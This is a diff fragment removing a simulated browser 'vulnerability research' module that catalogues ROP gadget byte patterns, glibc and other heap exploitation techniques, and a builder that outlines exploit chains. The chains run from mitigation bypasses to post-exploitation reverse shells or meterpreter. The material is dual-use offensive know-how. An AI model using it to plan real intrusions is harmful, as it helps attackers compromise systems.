-                        { pattern: 'mov rsp, rbp; pop rbp; ret', bytes: '48 89 ec 5d c3', utility: 'leave_ret' },
-                        { pattern: 'push rax; ...; pop rsp; ret', bytes: null, utility: 'stack_pivot' }
-                    ],
-                    register_control: [
-                        { pattern: 'pop rdi; ret', bytes: '5f c3', utility: 'arg1' },
-                        { pattern: 'pop rsi; ret', bytes: '5e c3', utility: 'arg2' },
-                        { pattern: 'pop rdx; ret', bytes: '5a c3', utility: 'arg3' },
-                        { pattern: 'pop rcx; ret', bytes: '59 c3', utility: 'arg4' },
-                        { pattern: 'pop r8; ret', bytes: '41 58 c3', utility: 'arg5' },
-                        { pattern: 'pop r9; ret', bytes: '41 59 c3', utility: 'arg6' },
-                        { pattern: 'pop rax; ret', bytes: '58 c3', utility: 'syscall_nr' },
-                        { pattern: 'pop rbp; ret', bytes: '5d c3', utility: 'frame' }
-                    ],
-                    memory_operations: [
-                        { pattern: 'mov [rdi], rsi; ret', bytes: '48 89 37 c3', utility: 'write' },
-                        { pattern: 'mov rax, [rdi]; ret', bytes: '48 8b 07 c3', utility: 'read' },
-                        { pattern: 'add [rbp-0x3d], ebx; ret', bytes: '01 5d c3 c3', utility: 'add_write' }
-                    ],
-                    syscall: [
-                        { pattern: 'syscall; ret', bytes: '0f 05 c3', utility: 'syscall' },
-                        { pattern: 'syscall', bytes: '0f 05', utility: 'syscall_no_ret' }
-                    ],
-                    misc: [
-                        { pattern: 'ret', bytes: 'c3', utility: 'slide' },
-                        { pattern: 'nop; ret', bytes: '90 c3', utility: 'nop_slide' },
-                        { pattern: 'xor eax, eax; ret', bytes: '31 c0 c3', utility: 'zero_rax' }
-                    ]
-                },
-                arm64: {
-                    register_control: [
-                        { pattern: 'ldp x29, x30, [sp], #0x10; ret', bytes: null, utility: 'epilogue' },
-                        { pattern: 'ldr x0, [sp]; ret', bytes: null, utility: 'arg1' },
-                        { pattern: 'ldr x1, [sp, #8]; ret', bytes: null, utility: 'arg2' }
-                    ],
-                    branch: [
-                        { pattern: 'blr x8', bytes: null, utility: 'call' },
-                        { pattern: 'br x16', bytes: null, utility: 'jump' }
-                    ]
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // HEAP EXPLOITATION TECHNIQUES
-            // ─────────────────────────────────────────────────────────────
-            heapTechniques: {
-                glibc: {
-                    tcache_poisoning: {
-                        description: 'Overwrite tcache next pointer for arbitrary write',
-                        requirements: ['heap_overflow', 'uaf', 'double_free'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['2.26+']
-                    },
-                    fastbin_dup: {
-                        description: 'Double-free in fastbin for duplicate allocation',
-                        requirements: ['double_free'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['2.23-']
-                    },
-                    house_of_force: {
-                        description: 'Overwrite top chunk size for arbitrary allocation',
-                        requirements: ['heap_overflow', 'known_heap_addr'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['2.27-']
-                    },
-                    house_of_spirit: {
-                        description: 'Free fake chunk to get allocation at target',
-                        requirements: ['arbitrary_free', 'writable_target'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['*']
-                    },
-                    house_of_lore: {
-                        description: 'Corrupt smallbin to return arbitrary address',
-                        requirements: ['heap_overflow', 'info_leak'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['*']
-                    },
-                    unsafe_unlink: {
-                        description: 'Exploit unlink macro for arbitrary write',
-                        requirements: ['heap_overflow', 'known_ptr'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['2.3.3-'] // Before safe unlinking
-                    },
-                    large_bin_attack: {
-                        description: 'Corrupt large bin for arbitrary write',
-                        requirements: ['heap_overflow', 'large_allocs'],
-                        result: 'arbitrary_write',
-                        glibc_versions: ['2.29-']
-                    }
-                },
-                ptmalloc: {
-                    overlapping_chunks: {
-                        description: 'Create overlapping heap chunks',
-                        requirements: ['heap_overflow'],
-                        result: 'type_confusion'
-                    }
-                },
-                jemalloc: {
-                    magazine_corruption: {
-                        description: 'Corrupt jemalloc magazine for arbitrary allocation',
-                        requirements: ['heap_overflow'],
-                        result: 'arbitrary_write'
-                    }
-                }
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // EXPLOITATION PRIMITIVE BUILDER
-            // ─────────────────────────────────────────────────────────────
-            buildPrimitive(vulnClass, targetArch = 'x86_64') {
-                const vuln = this.vulnDatabase.memory[vulnClass] || this.vulnDatabase.logic[vulnClass];
-                if (!vuln) return null;
-
-                return {
-                    vulnerability: {
-                        class: vulnClass,
-                        cwe: vuln.cwe,
-                        name: vuln.name,
-                        severity: vuln.severity
-                    },
-                    primitives: vuln.primitives.map(p => ({
-                        type: p,
-                        achievable: true,
-                        techniques: vuln.techniques
-                    })),
-                    mitigations: vuln.mitigations.map(m => ({
-                        name: m,
-                        bypasses: this.protectionBypasses[m]?.techniques || []
-                    })),
-                    exploitability: this._calculateExploitability(vuln)
-                };
-            },
-
-            _calculateExploitability(vuln) {
-                const severityScore = { critical: 10, high: 7, medium: 4, low: 1 };
-                const base = severityScore[vuln.severity] || 5;
-                const primitiveBonus = vuln.primitives.includes('code_execution') ? 2 : 0;
-                const mitigationPenalty = vuln.mitigations.length * 0.5;
-                return Math.min(10, Math.max(1, base + primitiveBonus - mitigationPenalty));
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // EXPLOIT CHAIN BUILDER
-            // ─────────────────────────────────────────────────────────────
-            buildExploitChain(vulnClass, protections = [], targetArch = 'x86_64') {
-                const primitive = this.buildPrimitive(vulnClass, targetArch);
-                if (!primitive) return null;
-
-                const chain = {
-                    vulnerability: primitive.vulnerability,
-                    stages: [],
-                    totalReliability: 100,
-                    bypasses: []
-                };
-
-                // Stage 1: Initial primitive
-                chain.stages.push({
-                    stage: 1,
-                    name: 'Trigger Vulnerability',
-                    action: `Trigger ${vulnClass} to gain initial primitive`,
-                    primitive: primitive.primitives[0]?.type || 'unknown'
-                });
-
-                // Stage 2: Bypass mitigations
-                for (const protection of protections) {
-                    const bypass = this.protectionBypasses[protection];
-                    if (bypass) {
-                        const bestTechnique = bypass.techniques.sort((a, b) => b.reliability - a.reliability)[0];
-                        chain.stages.push({
-                            stage: chain.stages.length + 1,
-                            name: `Bypass ${bypass.name}`,
-                            action: bestTechnique.description,
-                            technique: bestTechnique.name,
-                            reliability: bestTechnique.reliability
-                        });
-                        chain.totalReliability = Math.round(chain.totalReliability * bestTechnique.reliability / 100);
-                        chain.bypasses.push({ protection, technique: bestTechnique.name });
-                    }
-                }
-
-                // Stage 3: Achieve code execution
-                if (primitive.primitives.some(p => p.type === 'code_execution' || p.type === 'arbitrary_write')) {
-                    chain.stages.push({
-                        stage: chain.stages.length + 1,
-                        name: 'Achieve Code Execution',
-                        action: 'Redirect control flow to shellcode/ROP chain',
-                        gadgets: this.gadgets[targetArch]?.register_control?.slice(0, 4) || []
-                    });
-                }
-
-                // Stage 4: Post-exploitation
-                chain.stages.push({
-                    stage: chain.stages.length + 1,
-                    name: 'Post-Exploitation',
-                    action: 'Execute payload (reverse shell, persistence, etc.)',
-                    payloadTypes: ['reverse_shell', 'bind_shell', 'meterpreter', 'custom']
-                });
-
-                return chain;
-            },
-
-            // ─────────────────────────────────────────────────────────────
-            // MAIN HUNT ENGINE
-            // ─────────────────────────────────────────────────────────────
-            async hunt(target, options = {}) {
-                const startTime = performance.now();
-                console.log(`[SIMURGH] 👁️ Initiating vulnerability hunt: ${target}`);
-
-                const results = {
-                    target: target,
-                    timestamp: new Date().toISOString(),
-                    vulnerabilities: [],
-                    exploitChains: [],
-                    summary: {}
-                };
-
-                // Analyze each vulnerability class
-                const vulnClasses = options.classes || Object.keys(this.vulnDatabase.memory);
-
-                for (const vulnClass of vulnClasses) {
-                    const primitive = this.buildPrimitive(vulnClass);
-                    if (primitive) {
-                        results.vulnerabilities.push(primitive);
-
-                        // Build exploit chain
-                        const protections = options.protections || ['ASLR', 'NX', 'stack_canary'];
-                        const chain = this.buildExploitChain(vulnClass, protections, options.arch || 'x86_64');
-                        if (chain) {
-                            results.exploitChains.push(chain);
-                        }
-                    }
-                }
-
-                // Sort by exploitability
-                results.vulnerabilities.sort((a, b) => b.exploitability - a.exploitability);
-                results.exploitChains.sort((a, b) => b.totalReliability - a.totalReliability);
-
-                // Build summary
-                const elapsed = Math.round(performance.now() - startTime);
-                results.summary = {
-                    totalVulnClasses: results.vulnerabilities.length,
-                    criticalCount: results.vulnerabilities.filter(v => v.vulnerability.severity === 'critical').length,
-                    highCount: results.vulnerabilities.filter(v => v.vulnerability.severity === 'high').length,
-                    bestExploitability: results.vulnerabilities[0]?.exploitability || 0,
-                    bestChainReliability: results.exploitChains[0]?.totalReliability || 0,
-                    scanTime: `${elapsed}ms`
-                };
-
-                console.log(`[SIMURGH] ✓ Hunt complete in ${elapsed}ms`);
-                console.log(`[SIMURGH]   Vulnerability classes: ${results.summary.totalVulnClasses}`);
-                console.log(`[SIMURGH]   Critical: ${results.summary.criticalCount}`);
-                console.log(`[SIMURGH]   Best exploitability: ${results.summary.bestExploitability}/10`);
-                console.log(`[SIMURGH]   Best chain reliability: ${results.summary.bestChainReliability}%`);
-
-                return results;
-            },
-
-            // Demo function
-            async runDemo() {
-                console.log('═══════════════════════════════════════════════════════════');
-                console.log('👁️‍🗨️ SIMURGH v2.0 - Advanced Vulnerability Research Framework');
-                console.log('   Power: 100 | Offense: 100% | Defense: 0%');
-                console.log('   "Find the strange route, then prove or kill it."');
-                console.log('═══════════════════════════════════════════════════════════');
-
-                const demoTarget = 'target-binary.elf';
-
-                // [SIMULATED] Client-side vulnerability research map only. The backend
-                // /api/pliny/simurgh/hunt route was retired on 2026-06-30, so this
-                // demo runs entirely in-browser with no backend call.
-
-                // Local hunt
-                const results = await this.hunt(demoTarget, {
-                    classes: ['heap_overflow', 'use_after_free', 'type_confusion', 'format_string', 'integer_overflow'],
-                    protections: ['ASLR', 'NX', 'stack_canary', 'PIE', 'RELRO'],
-                    arch: 'x86_64'
-                });
-
-                // Display results
-                console.log('\\n[SIMURGH] Hunt Results:');
-                console.log('────────────────────────────────────────');
-
-                console.log('\\n🎯 TOP VULNERABILITIES:');
-                for (const vuln of results.vulnerabilities.slice(0, 3)) {
-                    console.log(`\\n  ${vuln.vulnerability.name} (${vuln.vulnerability.cwe})`);
-                    console.log(`    Severity: ${vuln.vulnerability.severity.toUpperCase()}`);
-                    console.log(`    Exploitability: ${vuln.exploitability}/10`);
-                    console.log(`    Primitives: ${vuln.primitives.map(p => p.type).join(', ')}`);
-                }
-
-                console.log('\\n⛓️ EXPLOIT CHAIN:');
-                const bestChain = results.exploitChains[0];
-                if (bestChain) {
-                    console.log(`  Target: ${bestChain.vulnerability.name}`);
-                    console.log(`  Total Reliability: ${bestChain.totalReliability}%`);
-                    console.log(`  Stages:`);
-                    for (const stage of bestChain.stages) {
-                        console.log(`    ${stage.stage}. ${stage.name}: ${stage.action}`);
-                    }
-                    console.log(`  Bypasses: ${bestChain.bypasses.map(b => `${b.protection} via ${b.technique}`).join(', ')}`);
-                }
-
-                // Show database stats
-                console.log('\\n[SIMURGH] Knowledge Base:');
-                console.log(`   Vulnerability Classes: ${Object.keys(this.vulnDatabase.memory).length + Object.keys(this.vulnDatabase.logic).length}`);
-                console.log(`   Protection Bypasses: ${Object.keys(this.protectionBypasses).length}`);
-                console.log(`   ROP Gadgets (x86_64): ${Object.values(this.gadgets.x86_64).flat().length}`);
-                console.log(`   Heap Techniques: ${Object.values(this.heapTechniques).reduce((a, t) => a + Object.keys(t).length, 0)}`);
-
-                toast('[SIMULATED] 👁️‍🗨️ SIMURGH demo complete', 'success');
-                addIntel('SIMURGH', `[SIMULATED] Analyzed ${results.summary.totalVulnClasses} vuln classes (${results.summary.criticalCount} critical)`, 'success');
-
-                return results;
-            }
-        };
-
-        window.SIMURGH = SIMURGH;
-
-        // Pure offense helper functions
-        function runTyphonDemo() { TYPHON.runDemo(); }
-        function runGriffinDemo() { GRIFFIN.runDemo(); }
-        function runSimurghDemo() { SIMURGH.runDemo(); }
 
         // Helper to run SPECTRA demo from terminal
         function runSpectraDemo() {